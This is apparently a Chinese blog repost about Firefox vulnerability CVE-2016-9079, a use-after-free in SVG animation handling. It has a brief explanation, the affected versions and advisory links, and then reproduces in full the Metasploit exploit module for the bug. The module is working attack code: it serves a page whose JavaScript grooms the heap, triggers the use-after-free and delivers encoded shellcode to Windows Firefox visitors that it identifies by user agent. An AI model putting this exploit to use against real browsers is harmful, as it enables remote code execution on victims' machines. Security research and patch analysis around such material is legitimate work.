Firefox CVE-2016-9079 漏洞及测试代码

Posted malwarebenchmark

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Firefox CVE-2016-9079 漏洞及测试代码相关的知识,希望对你有一定的参考价值。

     

2016年11月30日,Mozilla Firefox官网发布了一个紧急更新,修补了编号为CVE-2016-9079的漏洞。

 

该漏洞是一个存在于SVG动画模块中的释放后重用(UAF)漏洞,当用户使用Firefox浏览包含恶意javascript和SVG代码的页面时,会允许攻击者在用户的机器上远程执行代码。受该漏洞影响的平台包括Windows,Mac OS以及Linux。

 

详情请见如下链接:

https://www.mozilla.org/en-US/security/advisories/mfsa2016-92/

https://blog.mozilla.org/security/2016/11/30/fixing-an-svg-animation-vulnerability/

 

此漏洞存在于SVG动画模块中,是一个释放后再引用(UAF)的漏洞。根据已曝光的漏洞代码来看,此漏洞影响Firefox的所有运行平台,包括Windows,Linux和Mac OS。

 

漏洞位于SVG动画的nsSMILTimeContainer::NotifyTimeChange()函数中。以下是触发此漏洞的简单示例代码:


Firefox CVE-2016-9079 漏洞及测试代码


影响的版本:

Firefox version < 50.0.2

Firefox ESR version < 45.5.1

Thunderbird version < 45.5.1

 

但这个东西怎么玩呢?

 

2017年1月,Metasploit发布了相关测试代码,贴出来,供学习参考:

 

EDB-ID: 41151Author: MetasploitPublished: 2017-01-24

CVE: CVE-2016-9079Type: RemotePlatform: Windows

Aliases: N/AAdvisory/Source: LinkTags: Metasploit Framework

 

##

# This module requires Metasploit: http://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

 

require 'msf/core'

 

  class MetasploitModule < Msf::Exploit::Remote

    Rank = NormalRanking

 

    include Msf::Exploit::Remote::HttpServer

 

    def initialize(info={})

      super(update_info(info,

        'Name'           => "Firefox nsSMILTimeContainer::NotifyTimeChange() RCE",

        'Description'    => %q{

          This module exploits an out-of-bounds indexing/use-after-free condition present in

          nsSMILTimeContainer::NotifyTimeChange() across numerous versions of Mozilla Firefox

          on Microsoft Windows.

          },

          'License'        => MSF_LICENSE,

          'Author'         =>

          [

            'Anonymous Gaijin',                                 # Original research/exploit

            'William Webb <william_webb[at]rapid7.com>'         # Metasploit module

          ],

          'Platform'       => 'win',

          'Targets'        =>

          [

            [ 'Mozilla Firefox',

              {

                'Platform' => 'win',

                'Arch'     => ARCH_X86,

              }

            ],

          ],

          'DefaultOptions'  =>

          {

            'EXITFUNC' => "thread",

            'InitialAutoRunScript' => 'migrate -f'

          },

          'References'     =>

          [

            [ 'CVE', '2016-9079' ],

            [ 'Bugzilla', '1321066' ]

          ],

          'Arch'           => ARCH_X86,

          'DisclosureDate' => "Nov 30 2016",

          'DefaultTarget'  => 0

        )

      )

    register_options(

      [

        OptBool.new('UsePosthtml', [ true, 'Rewrite page with arbitrary HTML after successful exploitation.  NOTE: if set to true, you should probably rewrite data/exploits/ff_smil_uaf/post.html to something useful!', false ]),

      ], self.class

    )

  end

 

  def exploit_html(cli)

    p = payload.encoded

    arch = Rex::Arch.endian(target.arch)

    payload_final = Rex::Text.to_unescape(p, arch, prefix='\\u')

    base_uri = "#{get_resource.chomp('/')}"

 

    # stuff that gets adjusted alot during testing

 

    defrag_x = %Q~

       for (var i = 0; i < 0x4000; i++)

         heap80[i] = block80.slice(0)

     ~

     defrag_y = %Q~

       for (var i = 0x4401; i < heap80.length; i++)

         heap80[i] = block80.slice(0)

     ~

 

    js = %Q~

    var worker = new Worker('#{base_uri}/worker.js');

    var svgns = 'http://www.w3.org/2000/svg';

    var heap80 = new Array(0x5000);

    var heap100 = new Array(0x5000);

    var block80 = new ArrayBuffer(0x80);

    var block100 = new ArrayBuffer(0x100);

    var sprayBase = undefined;

    var arrBase = undefined;

 

    var animateX = undefined;

    var containerA = undefined;

 

    var milestone_offset = 0x90;

 

    var $ = function(id) { return document.getElementById(id); }

 

    var heap = function()

    {

     var u32 = new Uint32Array(block80)

 

     u32[4] = arrBase - milestone_offset;

 

     u32[0xa] = arrBase + 0x1000 - milestone_offset;

 

     u32[0x10] = arrBase + 0x2000 - milestone_offset;

 

     var x = document.createElementNS(svgns, 'animate')

     var svg = document.createElementNS(svgns, 'svg')

 

     svg.appendChild(x)

     svg.appendChild(x.cloneNode(true))

 

     for (var i = 0; i < 0x400; i++)

       {

         var node = svg.cloneNode(true);

         node.setAttribute('id', 'svg' + i)

         document.body.appendChild(node);

       }

       #{defrag_x}

 

       for (var i = 0; i < 0x400; i++)

         {

           heap80[i + 0x3000] = block80.slice(0)

           $('svg' + i).appendChild(x.cloneNode(true))

         }

 

         for (var i = 0; i < 0x400; i++)

           {

             $('svg' + i).appendChild(x.cloneNode(true))

             $('svg' + i).appendChild(x.cloneNode(true))

           }

 

           for (var i = 0; i < heap100.length; i++)

             heap100[i] = block100.slice(0)

 

             #{defrag_y}

 

             for (var i = 0x100; i < 0x400; i++)

               $('svg' + i).appendChild(x.cloneNode(true))

             }

 

             var exploit = function()

             {

               heap();

 

               animateX.setAttribute('begin', '59s')

               animateX.setAttribute('begin', '58s')

               animateX.setAttribute('begin', '10s')

               animateX.setAttribute('begin', '9s')

 

               // money shot

 

               containerA.pauseAnimations();

             }

 

             worker.onmessage = function(e)

             {

              worker.onmessage = function(e)

              {

               window.setTimeout(function()

               {

                 worker.terminate();

                 document.body.innerHTML = '';

                 document.getElementsByTagName('head')[0].innerHTML = '';

                 document.body.setAttribute('onload', '')

                 document.write('<blink>')

                 }, 1000);

  }

 

  arrBase = e.data;

  exploit();

  }

 

 

  var idGenerator = function()

  {

   return 'id' + (((1+Math.random())*0x10000)|0).toString(16).substring(1);

  }

 

 

  var craftDOM = function()

  {

   containerA = document.createElementNS(svgns, 'svg')

   var containerB = document.createElementNS(svgns, 'svg');

 

   animateX = document.createElementNS(svgns, 'animate')

   var animateA = document.createElementNS(svgns, 'animate')

   var animateB = document.createElementNS(svgns, 'animate')

 

   var animateC = document.createElementNS(svgns, 'animate')

 

   var idX = idGenerator();

   var idA = idGenerator();

   var idB = idGenerator();

   var idC = idGenerator();

 

   animateX.setAttribute('id', idX);

   animateA.setAttribute('id', idA);

   animateA.setAttribute('end', '50s');

   animateB.setAttribute('id', idB);

   animateB.setAttribute('begin', '60s');

   animateB.setAttribute('end', idC + '.end');

   animateC.setAttribute('id', idC);

   animateC.setAttribute('begin', '10s');

   animateC.setAttribute('end', idA + '.end');

 

   containerA.appendChild(animateX)

   containerA.appendChild(animateA)

   containerA.appendChild(animateB)

 

   containerB.appendChild(animateC)

 

   document.body.appendChild(containerA);

   document.body.appendChild(containerB);

  }

  window.onload = craftDOM;

    ~

 

    # If you want to change the appearance of the landing page, do it here

 

    html = %Q~

    <html>

    <head>

    <meta charset="utf-8"/>

    <script>

    #{js}

    </script>

    </head>

    <body>

    </body>

    </html>

    ~

 

    if datastore['UsePostHTML']

      f = File.open(File.join(Msf::Config.data_directory, "exploits", "firefox_smil_uaf", "post.html"), "rb")

      c = f.read

      html = html.gsub("<blink>", c)

    else

      html = html.gsub("<blink>", "")

    end

    send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })

  end

 

  def worker_js(cli)

    p = payload.encoded

    arch = Rex::Arch.endian(target.arch)

    payload = Rex::Text.to_unescape(p, arch)

    wt = File.open(File.join(Msf::Config.data_directory, "exploits", "firefox_smil_uaf", "worker.js"), "rb")

    c = wt.read

    c = c.gsub("INSERTSHELLCODEHEREPLZ", payload)

    c = c.gsub("NOPSGOHERE", "\u9090")

    send_response(cli, c, { 'Content-Type' => 'application/javascript', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })

  end

 

  def is_ff_on_windows(user_agent)

    target_hash = fingerprint_user_agent(user_agent)

    if target_hash[:ua_name] !~ /Firefox/ or target_hash[:os_name] !~ /Windows/

      return false

    end

      return true

  end

 

  def on_request_uri(cli, request)

    print_status("Got request: #{request.uri}")

    print_status("From: #{request.headers['User-Agent']}")

    if (!is_ff_on_windows(request.headers['User-Agent']))

      print_error("Unsupported user agent: #{request.headers['User-Agent']}")

      send_not_found(cli)

      close_client(cli)

      return

    end

    if request.uri =~ /worker\.js/

      print_status("Sending worker thread Javascript ...")

      worker_js(cli)

      return

    end

    if request.uri =~ /index\.html/ or request.uri =~ /\//

 

      print_status("Sending exploit HTML ...")

      exploit_html(cli)

      close_client(cli)

      return

    end

  end

end


以上是关于Firefox CVE-2016-9079 漏洞及测试代码的主要内容,如果未能解决你的问题,请参考以下文章

Firefox曝音频数据处理内存越界漏洞CVE-2018-5146/47

趣图:Firefox 在 Windows 发现了一个漏洞

被“养”11年!黑客滥用Firefox“高龄”漏洞强制用户输入信息

令人惊叹的 CSS 漏洞攻击,Firefox 和 Chrome 中枪

Firefox 开源 为啥安全

详解Pwn2Own中价值5万美金的Firefox浏览器漏洞